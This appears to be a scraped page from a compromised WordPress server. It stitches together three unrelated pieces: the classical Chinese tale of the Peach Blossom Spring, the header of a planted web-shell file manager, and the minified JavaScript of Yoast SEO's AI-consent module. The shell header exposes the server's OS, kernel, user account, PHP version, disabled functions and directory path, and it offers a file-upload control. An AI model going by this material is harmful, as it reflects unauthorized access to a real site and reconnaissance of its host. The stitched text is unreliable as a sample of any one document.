晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/rainic/public_html/oldTZh/wp-content/plugins/wordpress-seo/js/dist/ |
Upload File : |
(()=>{var e={4184:(e,t)=>{var s;!function(){"use strict";var r={}.hasOwnProperty;function n(){for(var e=[],t=0;t<arguments.length;t++){var s=arguments[t];if(s){var i=typeof s;if("string"===i||"number"===i)e.push(s);else if(Array.isArray(s)){if(s.length){var o=n.apply(null,s);o&&e.push(o)}}else if("object"===i){if(s.toString!==Object.prototype.toString&&!s.toString.toString().includes("[native code]")){e.push(s.toString());continue}for(var a in s)r.call(s,a)&&s[a]&&e.push(a)}}}return e.join(" ")}e.exports?(n.default=n,e.exports=n):void 0===(s=function(){return n}.apply(t,[]))||(e.exports=s)}()}},t={};function s(r){var n=t[r];if(void 0!==n)return n.exports;var i=t[r]={exports:{}};return e[r](i,i.exports,s),i.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var r in t)s.o(t,r)&&!s.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";const e=window.wp.data,t=window.wp.domReady;var r=s.n(t);const n=window.wp.element,i=window.wp.i18n,o=window.yoast.uiLibrary;var a=s(4184),l=s.n(a);const c=window.lodash,d=window.yoast.reduxJsToolkit,u="adminUrl",p=(0,d.createSlice)({name:u,initialState:"",reducers:{setAdminUrl:(e,{payload:t})=>t}}),y=(p.getInitialState,{selectAdminUrl:e=>(0,c.get)(e,u,"")});y.selectAdminLink=(0,d.createSelector)([y.selectAdminUrl,(e,t)=>t],((e,t="")=>{try{return new URL(t,e).href}catch(t){return e}})),p.actions,p.reducer;const m=window.wp.apiFetch;var g=s.n(m);const h="hasConsent",w=`${h}/storeConsent`,f=(0,d.createSlice)({name:h,initialState:{hasConsent:!1,endpoint:"yoast/v1/ai_generator/consent"},reducers:{giveAiGeneratorConsent:(e,{payload:t})=>{e.hasConsent=t},setAiGeneratorConsentEndpoint:(e,{payload:t})=>{e.endpoint=t}}}),x=f.getInitialState,v={selectHasAiGeneratorConsent:e=>(0,c.get)(e,[h,"hasConsent"],f.getInitialState().hasConsent),selectAiGeneratorConsentEndpoint:e=>(0,c.get)(e,[h,"endpoint"],f.getInitialState().endpoint)},k={...f.actions,storeAiGeneratorConsent:function*(e,t){try{yield{type:w,payload:{consent:e,endpoint:t}}}catch(e){return!1}return yield{type:`${h}/giveAiGeneratorConsent`,payload:e},!0}},R={[w]:async({payload:e})=>await g()({path:e.endpoint,method:"POST",data:{consent:e.consent},parse:!1})},S=f.reducer,j=window.wp.url,b="linkParams",_=(0,d.createSlice)({name:b,initialState:{},reducers:{setLinkParams:(e,{payload:t})=>t}}),C=_.getInitialState,L={selectLinkParam:(e,t,s={})=>(0,c.get)(e,`${b}.${t}`,s),selectLinkParams:e=>(0,c.get)(e,b,{})};L.selectLink=(0,d.createSelector)([L.selectLinkParams,(e,t)=>t,(e,t,s={})=>s],((e,t,s)=>(0,j.addQueryArgs)(t,{...e,...s})));const q=_.actions,N=_.reducer,A=(0,d.createSlice)({name:"notifications",initialState:{},reducers:{addNotification:{reducer:(e,{payload:t})=>{e[t.id]={id:t.id,variant:t.variant,size:t.size,title:t.title,description:t.description}},prepare:({id:e,variant:t="info",size:s="default",title:r,description:n})=>({payload:{id:e||(0,d.nanoid)(),variant:t,size:s,title:r||"",description:n}})},removeNotification:(e,{payload:t})=>(0,c.omit)(e,t)}}),E=(A.getInitialState,A.actions,A.reducer,"pluginUrl"),P=(0,d.createSlice)({name:E,initialState:"",reducers:{setPluginUrl:(e,{payload:t})=>t}}),I=P.getInitialState,O={selectPluginUrl:e=>(0,c.get)(e,E,"")};O.selectImageLink=(0,d.createSelector)([O.selectPluginUrl,(e,t,s="images")=>s,(e,t)=>t],((e,t,s)=>[(0,c.trimEnd)(e,"/"),(0,c.trim)(t,"/"),(0,c.trimStart)(s,"/")].join("/")));const B=P.actions,G=P.reducer,T="loading",U="wistiaEmbedPermission",M=(0,d.createSlice)({name:U,initialState:{value:!1,status:"idle",error:{}},reducers:{setWistiaEmbedPermissionValue:(e,{payload:t})=>{e.value=Boolean(t)}},extraReducers:e=>{e.addCase(`${U}/request`,(e=>{e.status=T})),e.addCase(`${U}/success`,((e,{payload:t})=>{e.status="success",e.value=Boolean(t&&t.value)})),e.addCase(`${U}/error`,((e,{payload:t})=>{e.status="error",e.value=Boolean(t&&t.value),e.error={code:(0,c.get)(t,"error.code",500),message:(0,c.get)(t,"error.message","Unknown")}}))}});var $;M.getInitialState,M.actions,M.reducer;const z=(0,d.createSlice)({name:"documentTitle",initialState:(0,c.defaultTo)(null===($=document)||void 0===$?void 0:$.title,""),reducers:{setDocumentTitle:(e,{payload:t})=>t}});z.getInitialState,z.actions,z.reducer;const F=(e,t)=>{try{return(0,n.createInterpolateElement)(e,t)}catch(t){return console.error("Error in translation for:",e,t),e}},H=window.yoast.propTypes;var Y=s.n(H);const V=window.ReactJSXRuntime;Y().string.isRequired;const D=window.React;D.forwardRef((function(e,t){return D.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),D.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))}));const W=D.forwardRef((function(e,t){return D.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),D.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))}));Y().string.isRequired,Y().string.isRequired,Y().shape({src:Y().string.isRequired,width:Y().string,height:Y().string}).isRequired,Y().shape({value:Y().bool.isRequired,status:Y().string.isRequired,set:Y().func.isRequired}).isRequired,Y().string,Y().string,Y().string;const J=({handleRefreshClick:e,supportLink:t})=>(0,V.jsxs)("div",{className:"yst-flex yst-gap-2",children:[(0,V.jsx)(o.Button,{onClick:e,children:(0,i.__)("Refresh this page","wordpress-seo")}),(0,V.jsx)(o.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener",children:(0,i.__)("Contact support","wordpress-seo")})]});J.propTypes={handleRefreshClick:Y().func.isRequired,supportLink:Y().string.isRequired};const Q=({handleRefreshClick:e,supportLink:t})=>(0,V.jsxs)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2",children:[(0,V.jsx)(o.Button,{className:"yst-order-last",onClick:e,children:(0,i.__)("Refresh this page","wordpress-seo")}),(0,V.jsx)(o.Button,{variant:"secondary",as:"a",href:t,target:"_blank",rel:"noopener",children:(0,i.__)("Contact support","wordpress-seo")})]});Q.propTypes={handleRefreshClick:Y().func.isRequired,supportLink:Y().string.isRequired};const X=({error:e,children:t=null})=>(0,V.jsxs)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4",children:[(0,V.jsx)(o.Title,{children:(0,i.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")}),(0,V.jsx)("p",{children:(0,i.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")}),(0,V.jsx)(o.Alert,{variant:"error",children:(null==e?void 0:e.message)||(0,i.__)("Undefined error message.","wordpress-seo")}),(0,V.jsx)("p",{children:(0,i.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")}),t]});X.propTypes={error:Y().object.isRequired,children:Y().node},X.VerticalButtons=Q,X.HorizontalButtons=J;Y().string,Y().node.isRequired,Y().node.isRequired,Y().node,Y().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const K=window.ReactDOM;var Z,ee,te;(ee=Z||(Z={})).Pop="POP",ee.Push="PUSH",ee.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(te||(te={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const se=["post","put","patch","delete"],re=(new Set(se),["get",...se]);new Set(re),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),D.Component,D.startTransition,new Promise((()=>{})),D.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var ne,ie,oe,ae;new Map,D.startTransition,K.flushSync,D.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(ae=ne||(ne={})).UseScrollRestoration="useScrollRestoration",ae.UseSubmit="useSubmit",ae.UseSubmitFetcher="useSubmitFetcher",ae.UseFetcher="useFetcher",ae.useViewTransitionState="useViewTransitionState",(oe=ie||(ie={})).UseFetcher="useFetcher",oe.UseFetchers="useFetchers",oe.UseScrollRestoration="useScrollRestoration",Y().string.isRequired,Y().string;const le=({href:e,children:t=null,...s})=>(0,V.jsxs)(o.Link,{target:"_blank",rel:"noopener noreferrer",...s,href:e,children:[t,(0,V.jsx)("span",{className:"yst-sr-only",children:/* translators: Hidden accessibility text. */
(0,i.__)("(Opens in a new browser tab)","wordpress-seo")})]});le.propTypes={href:Y().string.isRequired,children:Y().node};D.forwardRef((function(e,t){return D.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),D.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))})),(0,i.__)("AI tools included","wordpress-seo"),(0,i.sprintf)(/* translators: %1$s expands to "Yoast SEO academy". */
(0,i.__)("%1$s access","wordpress-seo"),"Yoast SEO academy"),(0,i.__)("24/7 support","wordpress-seo"),(0,i.__)("Generate SEO optimized metadata in seconds with AI","wordpress-seo"),(0,i.__)("Make your articles visible, be seen in Google News","wordpress-seo"),(0,i.__)("Built to get found by search, AI, and real users","wordpress-seo"),(0,i.__)("Easy Local SEO. Show up in Google Maps results","wordpress-seo"),(0,i.__)("Internal links and redirect management, easy","wordpress-seo"),(0,i.__)("Access to friendly help when you need it, day or night","wordpress-seo");D.forwardRef((function(e,t){return D.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),D.createElement("path",{fillRule:"evenodd",d:"M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z",clipRule:"evenodd"}))}));Y().string.isRequired,Y().object.isRequired,Y().func.isRequired,Y().string.isRequired,Y().object,Y().func.isRequired,Y().bool.isRequired,Y().string.isRequired,Y().object.isRequired,Y().string.isRequired,Y().func.isRequired,Y().bool.isRequired;const ce=D.forwardRef((function(e,t){return D.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:t},e),D.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01m-6.938 4h13.856c1.54 0 2.502-1.667 1.732-3L13.732 4c-.77-1.333-2.694-1.333-3.464 0L3.34 16c-.77 1.333.192 3 1.732 3z"}))}));Y().bool.isRequired,Y().func,Y().func,Y().string.isRequired,Y().string.isRequired,Y().string.isRequired,Y().string.isRequired;window.yoast.reactHelmet;Y().string.isRequired,Y().shape({src:Y().string.isRequired,width:Y().string,height:Y().string}).isRequired,Y().shape({value:Y().bool.isRequired,status:Y().string.isRequired,set:Y().func.isRequired}).isRequired,D.forwardRef((function(e,t){return D.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:t},e),D.createElement("path",{fillRule:"evenodd",d:"M10.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L12.586 11H5a1 1 0 110-2h7.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),Y().bool.isRequired,Y().func.isRequired,Y().func,Y().string;const de=({onGiveConsent:e,learnMoreLink:t,privacyPolicyLink:s,termsOfServiceLink:r,imageLink:a})=>{const{onClose:l,initialFocus:c}=(0,o.useModalContext)(),[d,u]=(0,o.useToggleState)(!1),p=(0,n.useMemo)((()=>({src:a,width:"432",height:"244"})),[a]),y=F((0,i.sprintf)(/* translators: %1$s and %2$s are a set of anchor tags and %3$s and %4$s are a set of anchor tags. */
(0,i.__)("I approve the %1$sTerms of Service%2$s & %3$sPrivacy Policy%4$s of the Yoast AI service. This includes consenting to the collection and use of data to improve user experience.","wordpress-seo"),"<a1>","</a1>","<a2>","</a2>"),{a1:(0,V.jsx)(le,{href:r}),a2:(0,V.jsx)(le,{href:s})}),[m,g]=(0,o.useToggleState)(!1),h=(0,n.useCallback)((async()=>{g(),await e(),g()}),[e]);return(0,V.jsxs)(V.Fragment,{children:[(0,V.jsx)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center",children:(0,V.jsx)("div",{className:"yst-relative yst-w-full",children:(0,V.jsx)("img",{className:"yst-w-full yst-h-auto yst-rounded-md yst-drop-shadow-md",alt:"",loading:"lazy",decoding:"async",...p})})}),(0,V.jsxs)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center",children:[(0,V.jsxs)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center",children:[(0,V.jsx)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium",children:(0,i.sprintf)(/* translators: %s expands to Yoast AI. */
(0,i.__)("Grant consent for %s","wordpress-seo"),"Yoast AI")}),(0,V.jsx)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm",children:F((0,i.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tag; %4$s is the arrow icon. */
(0,i.__)("Enable AI-powered SEO! Use all Yoast AI features to boost your efficiency. Just give us the green light. %1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),{a:(0,V.jsx)(le,{href:t,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,V.jsx)(W,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,V.jsx)("br",{})})})]}),(0,V.jsx)("div",{className:"yst-flex yst-w-full yst-mt-6",children:(0,V.jsx)("hr",{className:"yst-w-full yst-text-gray-200"})}),(0,V.jsxs)("div",{className:"yst-flex yst-items-start yst-mt-4",children:[(0,V.jsx)("input",{type:"checkbox",id:"yst-ai-consent-checkbox",name:"yst-ai-consent-checkbox",checked:d,value:d?"true":"false",onChange:u,className:"yst-checkbox__input",ref:c}),(0,V.jsx)("label",{htmlFor:"yst-ai-consent-checkbox",className:"yst-label yst-checkbox__label yst-text-xs yst-font-normal yst-text-slate-500",children:y})]}),(0,V.jsx)("div",{className:"yst-w-full yst-flex yst-mt-4",children:(0,V.jsxs)(o.Button,{as:"button",className:"yst-grow",size:"large",disabled:!d,onClick:h,children:[m&&(0,V.jsx)(o.Spinner,{className:"yst-me-2"}),(0,i.__)("Grant consent","wordpress-seo")]})}),(0,V.jsx)(o.Button,{as:"button",className:"yst-mt-4",variant:"tertiary",onClick:l,children:(0,i.__)("Close","wordpress-seo")})]})]})};de.propTypes={onGiveConsent:Y().func.isRequired,learnMoreLink:Y().string.isRequired,privacyPolicyLink:Y().string.isRequired,termsOfServiceLink:Y().string.isRequired,imageLink:Y().string.isRequired};const ue="yoast-seo/ai-consent",pe=({onStartGenerating:t})=>{const{termsOfServiceLink:s,privacyPolicyLink:r,learnMoreLink:i,imageLink:o,endpoint:a}=(0,e.useSelect)((e=>{const t=e(ue);return{termsOfServiceLink:t.selectLink("https://yoa.st/ai-fix-assessments-terms-of-service"),privacyPolicyLink:t.selectLink("https://yoa.st/ai-fix-assessments-privacy-policy"),learnMoreLink:t.selectLink("https://yoa.st/ai-fix-assessments-consent-learn-more"),imageLink:t.selectImageLink("ai-consent.png"),endpoint:t.selectAiGeneratorConsentEndpoint()}}),[]),{storeAiGeneratorConsent:l}=(0,e.useDispatch)(ue),c=(0,n.useCallback)((()=>{l(!0,a),t()}),[l,t]);return(0,V.jsx)(de,{imageLink:o,onGiveConsent:c,learnMoreLink:i,termsOfServiceLink:s,privacyPolicyLink:r})},ye=({onClose:t})=>{const{storeAiGeneratorConsent:s}=(0,e.useDispatch)(ue),r=(0,e.useSelect)((e=>e(ue).selectAiGeneratorConsentEndpoint()),[]),[a,l]=(0,n.useState)(!1),[c,d]=(0,n.useState)(!1),u=(0,n.useCallback)((async()=>{if(d(!1),l(!0),!1===(await s(!1,r)).consent)return d(!0),void l(!1);t(),l(!1)}),[s,l,t,r]);return(0,V.jsxs)("div",{className:"yst-flex yst-flex-row",children:[(0,V.jsx)("span",{className:"yst-shrink-0 yst-h-12 yst-w-12 yst-rounded-full yst-flex yst-justify-center yst-items-center yst-mb-3 yst-me-5 yst-bg-red-100",children:(0,V.jsx)(ce,{className:"yst-w-6 yst-h-6 yst-align-center yst-text-red-600"})}),(0,V.jsxs)("div",{children:[(0,V.jsx)(o.Modal.Title,{className:"yst-font-semibold",as:"h3",size:"4",children:(0,i.__)("Revoke AI consent","wordpress-seo")}),c&&(0,V.jsx)(o.Alert,{className:"yst-mt-2",variant:"error",children:(0,i.__)("Something went wrong, please try again later.","wordpress-seo")}),(0,V.jsx)("p",{className:"yst-mt-2 yst-text-slate-600",children:(0,i.__)("By revoking your consent, you will no longer have access to Yoast AI features. Are you sure you want to revoke your consent?","wordpress-seo")}),(0,V.jsxs)("footer",{className:"yst-mt-6 sm:yst-flex sm:yst-flex-row-reverse",children:[(0,V.jsx)(o.Button,{variant:"error",isLoading:a,className:"yst-w-full sm:yst-w-auto yst-revoke-button",onClick:u,children:(0,i.__)("Yes, revoke consent","wordpress-seo")}),(0,V.jsx)(o.Button,{variant:"secondary",className:"yst-w-full sm:yst-w-auto yst-me-3",onClick:t,children:(0,i.__)("Close","wordpress-seo")})]})]})]})};r()((()=>{((t={})=>{(0,e.register)((t=>(0,e.createReduxStore)(ue,{actions:{...k,...B,...q},selectors:{...v,...O,...L},initialState:(0,c.merge)({},{[h]:x(),[E]:I(),[b]:C()},t),reducer:(0,e.combineReducers)({[h]:S,[E]:G,[b]:N}),controls:{...R}}))(t))})({[h]:{hasConsent:"1"===(0,c.get)(window,"wpseoAiConsent.hasConsent",!1)},[E]:(0,c.get)(window,"wpseoAiConsent.pluginUrl",""),[b]:(0,c.get)(window,"wpseoAiConsent.linkParams",{})});const t=()=>{const t=(0,e.useSelect)((e=>e(ue).selectHasAiGeneratorConsent()),[]),[s,,,r,a]=(0,o.useToggleState)(!1),c=(0,n.useRef)(null),d=(0,n.useCallback)((e=>{e.preventDefault(),r()}),[r]);return(0,V.jsxs)(n.Fragment,{children:[(0,V.jsx)(o.Modal,{className:"yst-introduction-modal",isOpen:s,onClose:a,initialFocus:c,children:(0,V.jsxs)(o.Modal.Panel,{className:l()(!t&&"yst-p-0 yst-max-w-lg yst-rounded-3xl",t&&"yst-max-w-xl yst-rounded-lg"),children:[!t&&(0,V.jsx)(pe,{onStartGenerating:a,focusElementRef:c}),t&&(0,V.jsx)(ye,{onClose:a})]})}),(0,V.jsx)("button",{className:"button",id:"ai-generator-consent-button",onClick:d,children:t?(0,i.__)("Revoke consent","wordpress-seo"):(0,i.__)("Grant consent","wordpress-seo")})]})},s=document.getElementById("ai-generator-consent");s&&(0,n.render)((0,V.jsx)(t,{}),s)}))})()})();